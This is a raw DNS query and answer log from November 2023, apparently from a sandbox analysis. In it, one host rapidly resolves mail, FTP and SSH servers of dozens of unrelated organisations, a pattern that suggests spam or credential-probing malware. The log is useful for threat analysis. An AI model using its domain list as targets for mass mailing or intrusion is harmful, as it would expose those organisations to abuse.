Nov 26, 2023 06:59:42.083070040 CET	192.168.2.4	1.1.1.1	0x38e0	Standard query (0)	relay.gmail.io	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.083996058 CET	192.168.2.4	1.1.1.1	0x7d16	Standard query (0)	relay.xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.087837934 CET	192.168.2.4	1.1.1.1	0x606e	Standard query (0)	relay.bosworthacademy.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.088063955 CET	192.168.2.4	1.1.1.1	0xf74c	Standard query (0)	smtp.lwindowelive.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.090045929 CET	192.168.2.4	1.1.1.1	0xa3b6	Standard query (0)	smtp.xtsagency.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.092720985 CET	192.168.2.4	1.1.1.1	0xea01	Standard query (0)	relay.carelesscommunity.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.093405008 CET	192.168.2.4	1.1.1.1	0x35ea	Standard query (0)	mailgate.privatemoe.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.242587090 CET	192.168.2.4	1.1.1.1	0x55c2	Standard query (0)	relay.bunasta.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.401036024 CET	192.168.2.4	1.1.1.1	0xba4	Standard query (0)	smtp.member3.co.za	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.590807915 CET	192.168.2.4	1.1.1.1	0x518b	Standard query (0)	ssh.upn.pe	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.672008991 CET	192.168.2.4	1.1.1.1	0xbde0	Standard query (0)	cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.673719883 CET	192.168.2.4	1.1.1.1	0xc236	Standard query (0)	relay.schmith.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.674035072 CET	192.168.2.4	1.1.1.1	0xe18e	Standard query (0)	relay.paintd.plus.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.930421114 CET	192.168.2.4	1.1.1.1	0xa404	Standard query (0)	relay.privatemoe.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.951107025 CET	192.168.2.4	1.1.1.1	0xa847	Standard query (0)	mail.cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.984693050 CET	192.168.2.4	1.1.1.1	0x5ef0	Standard query (0)	smtp.privatemoe.ae	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.203206062 CET	192.168.2.4	1.1.1.1	0x2a8b	Standard query (0)	pop.cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.239919901 CET	192.168.2.4	1.1.1.1	0x6ccf	Standard query (0)	mx2.emailsrvr.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.298486948 CET	192.168.2.4	1.1.1.1	0x3dc5	Standard query (0)	mx2.supremebox.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.409152985 CET	192.168.2.4	1.1.1.1	0x3900	Standard query (0)	pop3.cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.640444994 CET	192.168.2.4	1.1.1.1	0xa17a	Standard query (0)	ftp.edgewater.group	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.706727982 CET	192.168.2.4	1.1.1.1	0xd1b8	Standard query (0)	mailgate.cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.245140076 CET	192.168.2.4	1.1.1.1	0xf179	Standard query (0)	mx01.1and1.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.246599913 CET	192.168.2.4	1.1.1.1	0x3eab	Standard query (0)	krkconcord-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.246885061 CET	192.168.2.4	1.1.1.1	0xfeb1	Standard query (0)	ftp.rochester-gauges.be	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.253922939 CET	192.168.2.4	1.1.1.1	0xb683	Standard query (0)	jamiesonmullin-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.277952909 CET	192.168.2.4	1.1.1.1	0x9ca8	Standard query (0)	relay.cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.426575899 CET	192.168.2.4	1.1.1.1	0x1c1a	Standard query (0)	ftp.viidelta.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.452864885 CET	192.168.2.4	1.1.1.1	0xf369	Standard query (0)	imap.cringemonster.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.718004942 CET	192.168.2.4	1.1.1.1	0xa5a5	Standard query (0)	ibright-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.722269058 CET	192.168.2.4	1.1.1.1	0xa57d	Standard query (0)	gethsemane-org.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.722269058 CET	192.168.2.4	1.1.1.1	0x2c75	Standard query (0)	rochestergauges-be02c.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.853709936 CET	192.168.2.4	1.1.1.1	0xe589	Standard query (0)	talentius-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:45.202531099 CET	192.168.2.4	1.1.1.1	0x9bfa	Standard query (0)	my-calvary-qld-edu-au.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:46.285432100 CET	192.168.2.4	1.1.1.1	0x1d74	Standard query (0)	mx2.jimdo.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:46.546595097 CET	192.168.2.4	1.1.1.1	0xb3ad	Standard query (0)	mail.edgewater.group	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.070449114 CET	192.168.2.4	1.1.1.1	0xa43c	Standard query (0)	ftp.wasserman.us	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.114037991 CET	192.168.2.4	1.1.1.1	0xde8d	Standard query (0)	aoiit-store.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.122745991 CET	192.168.2.4	1.1.1.1	0x36d7	Standard query (0)	jamiesonmullin-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.125180960 CET	192.168.2.4	1.1.1.1	0x121d	Standard query (0)	octetpowers-in.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.126768112 CET	192.168.2.4	1.1.1.1	0x615	Standard query (0)	krkconcord-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.127095938 CET	192.168.2.4	1.1.1.1	0x296a	Standard query (0)	avient-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.163759947 CET	192.168.2.4	1.1.1.1	0x7155	Standard query (0)	ftp.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.170963049 CET	192.168.2.4	1.1.1.1	0xe2f4	Standard query (0)	ftp.federwild.at	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.171210051 CET	192.168.2.4	1.1.1.1	0xaca9	Standard query (0)	ftp.awb-apparatebau.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.174158096 CET	192.168.2.4	1.1.1.1	0xf794	Standard query (0)	ecolandeck-at0i.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.174158096 CET	192.168.2.4	1.1.1.1	0x1757	Standard query (0)	gethsemane-org.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.174474955 CET	192.168.2.4	1.1.1.1	0x19de	Standard query (0)	esoft-academy.mail.eo.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.188083887 CET	192.168.2.4	1.1.1.1	0x223	Standard query (0)	ibright-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.192105055 CET	192.168.2.4	1.1.1.1	0x5465	Standard query (0)	rochestergauges-be02c.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.193849087 CET	192.168.2.4	1.1.1.1	0xf32	Standard query (0)	directlendersllc-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.206979990 CET	192.168.2.4	1.1.1.1	0x51b9	Standard query (0)	greenrworld-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.208251953 CET	192.168.2.4	1.1.1.1	0x894e	Standard query (0)	rechagricola-com-br.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.208692074 CET	192.168.2.4	1.1.1.1	0xc03b	Standard query (0)	gmailvz-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.229676008 CET	192.168.2.4	1.1.1.1	0xcf29	Standard query (0)	celogic-com0e.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.234502077 CET	192.168.2.4	1.1.1.1	0x9508	Standard query (0)	chandigarhuniversityazure.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.244573116 CET	192.168.2.4	1.1.1.1	0xa1de	Standard query (0)	grg17geblergasse-at.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.249329090 CET	192.168.2.4	1.1.1.1	0x8ab0	Standard query (0)	engelfirm-com01c.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.253938913 CET	192.168.2.4	1.1.1.1	0xf38d	Standard query (0)	ceuandalucia-es.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.260962009 CET	192.168.2.4	1.1.1.1	0xd79b	Standard query (0)	mx4.mainnetmail.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.272789955 CET	192.168.2.4	1.1.1.1	0x7dc	Standard query (0)	talentius-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.277371883 CET	192.168.2.4	1.1.1.1	0xf13c	Standard query (0)	c47ab644ec7e3f14.mx1.emailprofi.seznam.cz	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.279751062 CET	192.168.2.4	1.1.1.1	0x850a	Standard query (0)	my-calvary-qld-edu-au.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.281486034 CET	192.168.2.4	1.1.1.1	0x401	Standard query (0)	mx.a.locaweb.com.br	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.284130096 CET	192.168.2.4	1.1.1.1	0xa599	Standard query (0)	upn-pe.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.298974037 CET	192.168.2.4	1.1.1.1	0x5015	Standard query (0)	killicit.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:01.030069113 CET	192.168.2.4	1.1.1.1	0x419a	Standard query (0)	ssh.hmichaelandco.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:01.146588087 CET	192.168.2.4	1.1.1.1	0xf8e8	Standard query (0)	ssh.viidelta.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:01.178982019 CET	192.168.2.4	1.1.1.1	0x8aa1	Standard query (0)	ssh.rochester-gauges.be	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:04.207107067 CET	192.168.2.4	1.1.1.1	0x871c	Standard query (0)	ftp.bunasta.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:04.208497047 CET	192.168.2.4	1.1.1.1	0x3726	Standard query (0)	ssh.bunasta.eu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:04.223141909 CET	192.168.2.4	1.1.1.1	0x3b86	Standard query (0)	ssh.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:04.223577023 CET	192.168.2.4	1.1.1.1	0x8b2a	Standard query (0)	ssh.awb-apparatebau.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:04.329996109 CET	192.168.2.4	1.1.1.1	0x19fe	Standard query (0)	mail.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:04.670438051 CET	192.168.2.4	1.1.1.1	0x467b	Standard query (0)	mail.webstamp.ca	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:04.745280981 CET	192.168.2.4	1.1.1.1	0xe593	Standard query (0)	pop.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.080352068 CET	192.168.2.4	1.1.1.1	0xade4	Standard query (0)	pop3.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.142398119 CET	192.168.2.4	1.1.1.1	0xd94b	Standard query (0)	ftp.mdystudent.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.142398119 CET	192.168.2.4	1.1.1.1	0xf86f	Standard query (0)	ftp.midcapfunding.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.183862925 CET	192.168.2.4	1.1.1.1	0x6d5	Standard query (0)	ftp.esoft.academy	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.204688072 CET	192.168.2.4	1.1.1.1	0xc00e	Standard query (0)	ftp.gmailvz.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.250149965 CET	192.168.2.4	1.1.1.1	0x62e0	Standard query (0)	ftp.robinsonland.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.250710964 CET	192.168.2.4	1.1.1.1	0x9f87	Standard query (0)	ftp.svenssonfriends.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.253602028 CET	192.168.2.4	1.1.1.1	0x9524	Standard query (0)	ftp.leeberg.dk	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.254118919 CET	192.168.2.4	1.1.1.1	0x2362	Standard query (0)	ftp.nyklawfirm.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.259954929 CET	192.168.2.4	1.1.1.1	0xbe72	Standard query (0)	ftp.quipuapp.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.262326002 CET	192.168.2.4	1.1.1.1	0x976	Standard query (0)	ftp.srmist.edu.in	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.263623953 CET	192.168.2.4	1.1.1.1	0xb585	Standard query (0)	ftp.saudi-jamac.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.264256001 CET	192.168.2.4	1.1.1.1	0x378e	Standard query (0)	ftp.dstaq.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.283935070 CET	192.168.2.4	1.1.1.1	0xb2ee	Standard query (0)	mailgate.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.309305906 CET	192.168.2.4	1.1.1.1	0xa5bb	Standard query (0)	macisis.co.uk	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.309812069 CET	192.168.2.4	1.1.1.1	0xb203	Standard query (0)	ibright.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.312797070 CET	192.168.2.4	1.1.1.1	0xaaae	Standard query (0)	mail.robinsonland.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.338526964 CET	192.168.2.4	1.1.1.1	0xb540	Standard query (0)	ftp.2brosandahosepressurewashing.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.533988953 CET	192.168.2.4	1.1.1.1	0x32a4	Standard query (0)	mail.ibright.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.541770935 CET	192.168.2.4	1.1.1.1	0xc20c	Standard query (0)	mail.macisis.co.uk	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.583609104 CET	192.168.2.4	1.1.1.1	0x95b0	Standard query (0)	ftp.greenrworld.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.586191893 CET	192.168.2.4	1.1.1.1	0x6f9c	Standard query (0)	ftp.rdelealtad.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.617122889 CET	192.168.2.4	1.1.1.1	0x51b3	Standard query (0)	relay.kappablu.de	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.652465105 CET	192.168.2.4	1.1.1.1	0xc50c	Standard query (0)	ftp.killicit.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.667994976 CET	192.168.2.4	1.1.1.1	0x7d7b	Standard query (0)	ftp.linkan-group.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.841443062 CET	192.168.2.4	1.1.1.1	0x6b9e	Standard query (0)	pop.edgewater.group	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:05.971635103 CET	192.168.2.4	1.1.1.1	0xb2d8	Standard query (0)	pop.ibright.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.028290987 CET	192.168.2.4	1.1.1.1	0x7289	Standard query (0)	cardenas.mtz.rimed.cu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.183419943 CET	192.168.2.4	1.1.1.1	0xb368	Standard query (0)	pop3.ibright.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.337480068 CET	192.168.2.4	1.1.1.1	0xe3d6	Standard query (0)	pop3.edgewater.group	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.337481022 CET	192.168.2.4	1.1.1.1	0x28a5	Standard query (0)	ftp.hightideinc.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.362585068 CET	192.168.2.4	1.1.1.1	0x8060	Standard query (0)	mail.townshipnjr.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.363017082 CET	192.168.2.4	1.1.1.1	0x31ba	Standard query (0)	smtp.secureserver.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.373383045 CET	192.168.2.4	1.1.1.1	0x920f	Standard query (0)	d405642.b.ess.ca.barracudanetworks.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.421798944 CET	192.168.2.4	1.1.1.1	0xd3e4	Standard query (0)	mailgate.ibright.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.432660103 CET	192.168.2.4	1.1.1.1	0xb96a	Standard query (0)	mx2.improvmx.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.572964907 CET	192.168.2.4	1.1.1.1	0x4090	Standard query (0)	mail.cardenas.mtz.rimed.cu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.573117018 CET	192.168.2.4	1.1.1.1	0xf067	Standard query (0)	mailgate.edgewater.group	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.653208017 CET	192.168.2.4	1.1.1.1	0xbfe0	Standard query (0)	relay.ibright.net	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.818324089 CET	192.168.2.4	1.1.1.1	0x57c8	Standard query (0)	ftp.townshipnjr.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:06.928623915 CET	192.168.2.4	1.1.1.1	0x4475	Standard query (0)	relay.edgewater.group	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:07.173000097 CET	192.168.2.4	1.1.1.1	0x75f7	Standard query (0)	pop.cardenas.mtz.rimed.cu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:07.516165972 CET	192.168.2.4	1.1.1.1	0x4d2b	Standard query (0)	ftp.daisyokogyo.co.jp	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:07.519603968 CET	192.168.2.4	1.1.1.1	0x7535	Standard query (0)	ftp.americanrecords.it	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:07.520194054 CET	192.168.2.4	1.1.1.1	0xb980	Standard query (0)	ftp.talentius.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:07.860097885 CET	192.168.2.4	1.1.1.1	0xbef0	Standard query (0)	mail.grg17geblergasse.at	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:07.886224985 CET	192.168.2.4	1.1.1.1	0xd94a	Standard query (0)	ftp.digdig.org	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:07.902002096 CET	192.168.2.4	1.1.1.1	0x8e55	Standard query (0)	mail.maxiv.lu.se	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:07.911231995 CET	192.168.2.4	1.1.1.1	0x3841	Standard query (0)	pop3.cardenas.mtz.rimed.cu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.001554012 CET	192.168.2.4	1.1.1.1	0x4f8a	Standard query (0)	ftp.esistem.com.br	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.028270006 CET	192.168.2.4	1.1.1.1	0x3768	Standard query (0)	jamiesonmullin-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.051305056 CET	192.168.2.4	1.1.1.1	0x1607	Standard query (0)	ibright-net.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.294974089 CET	192.168.2.4	1.1.1.1	0x387	Standard query (0)	mailgate.cardenas.mtz.rimed.cu	A (IP address)	IN (0x0001)	false
Nov 26, 2023 07:00:08.993154049 CET	192.168.2.4	1.1.1.1	0x4f8a	Standard query (0)	ftp.esistem.com.br	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2023 06:59:28.132769108 CET	1.1.1.1	192.168.2.4	0x9cca	Name error (3)	lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.135812044 CET	1.1.1.1	192.168.2.4	0x90fd	No error (0)	greenrworld.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.135812044 CET	1.1.1.1	192.168.2.4	0x90fd	No error (0)	greenrworld.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.151576042 CET	1.1.1.1	192.168.2.4	0x250f	No error (0)	townshipnjr.com		66.81.203.8	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.151576042 CET	1.1.1.1	192.168.2.4	0x250f	No error (0)	townshipnjr.com		66.81.203.198	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.151576042 CET	1.1.1.1	192.168.2.4	0x250f	No error (0)	townshipnjr.com		66.81.203.133	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.160336971 CET	1.1.1.1	192.168.2.4	0xd978	No error (0)	knu.ac.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.160336971 CET	1.1.1.1	192.168.2.4	0xd978	No error (0)	knu.ac.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.160336971 CET	1.1.1.1	192.168.2.4	0xd978	No error (0)	knu.ac.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.173345089 CET	1.1.1.1	192.168.2.4	0x2c79	No error (0)	gasp-ga.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.180028915 CET	1.1.1.1	192.168.2.4	0x42c7	No error (0)	krkconcord.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.188131094 CET	1.1.1.1	192.168.2.4	0xa7c8	No error (0)	krkconcord.com		35.237.190.156	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.189119101 CET	1.1.1.1	192.168.2.4	0x38e0	No error (0)	t1eng.com		3.234.162.143	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.190936089 CET	1.1.1.1	192.168.2.4	0x1cf6	No error (0)	octetpowers.in			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.191093922 CET	1.1.1.1	192.168.2.4	0x151a	No error (0)	t1eng.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.191093922 CET	1.1.1.1	192.168.2.4	0x151a	No error (0)	t1eng.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.191767931 CET	1.1.1.1	192.168.2.4	0x4c8f	No error (0)	bvhrs.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.192207098 CET	1.1.1.1	192.168.2.4	0x263b	Name error (3)	carelesscommunity.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.193650961 CET	1.1.1.1	192.168.2.4	0x3c81	No error (0)	rdelealtad.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.193650961 CET	1.1.1.1	192.168.2.4	0x3c81	No error (0)	rdelealtad.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.197082043 CET	1.1.1.1	192.168.2.4	0xb9d9	No error (0)	aoiit.store			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.197904110 CET	1.1.1.1	192.168.2.4	0x8dd0	No error (0)	knu.ac.in		3.111.240.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.201334953 CET	1.1.1.1	192.168.2.4	0xcd1b	No error (0)	avient.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.203109026 CET	1.1.1.1	192.168.2.4	0xaf49	Name error (3)	sofia-communications.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.207535028 CET	1.1.1.1	192.168.2.4	0x8c4b	Name error (3)	sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.209554911 CET	1.1.1.1	192.168.2.4	0x615c	Name error (3)	lgs-strategies.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.218050003 CET	1.1.1.1	192.168.2.4	0xee12	No error (0)	gruporegiosafety.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.218050003 CET	1.1.1.1	192.168.2.4	0xee12	No error (0)	gruporegiosafety.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.219132900 CET	1.1.1.1	192.168.2.4	0xff82	Name error (3)	yahoo.comfreezed	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.219801903 CET	1.1.1.1	192.168.2.4	0x1eb4	No error (0)	jamiesonmullin.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.230540991 CET	1.1.1.1	192.168.2.4	0xbca9	No error (0)	linkan-group.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.230540991 CET	1.1.1.1	192.168.2.4	0xbca9	No error (0)	linkan-group.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.230540991 CET	1.1.1.1	192.168.2.4	0xbca9	No error (0)	linkan-group.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.230540991 CET	1.1.1.1	192.168.2.4	0xbca9	No error (0)	linkan-group.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.230540991 CET	1.1.1.1	192.168.2.4	0xbca9	No error (0)	linkan-group.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.241441965 CET	1.1.1.1	192.168.2.4	0xc10f	No error (0)	jamiesonmullin.com		159.203.32.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:28.241487026 CET	1.1.1.1	192.168.2.4	0xc3a4	No error (0)	killicit.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.241487026 CET	1.1.1.1	192.168.2.4	0xc3a4	No error (0)	killicit.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.241487026 CET	1.1.1.1	192.168.2.4	0xc3a4	No error (0)	killicit.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.241487026 CET	1.1.1.1	192.168.2.4	0xc3a4	No error (0)	killicit.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.241487026 CET	1.1.1.1	192.168.2.4	0xc3a4	No error (0)	killicit.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.246388912 CET	1.1.1.1	192.168.2.4	0xd837	Name error (3)	2l7g4s.us	none	none	MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.251625061 CET	1.1.1.1	192.168.2.4	0xc83a	No error (0)	hightideinc.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.251625061 CET	1.1.1.1	192.168.2.4	0xc83a	No error (0)	hightideinc.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.252233982 CET	1.1.1.1	192.168.2.4	0x261e	No error (0)	cringemonster.com			MX (Mail exchange)	IN (0x0001)	false
Nov 26, 2023 06:59:28.252233982 CET	1.1.1.1	192.168.2.4	0x261e	No error (0)	cringemonster.com			MX (Mail exchange)	IN (0x0001)	false
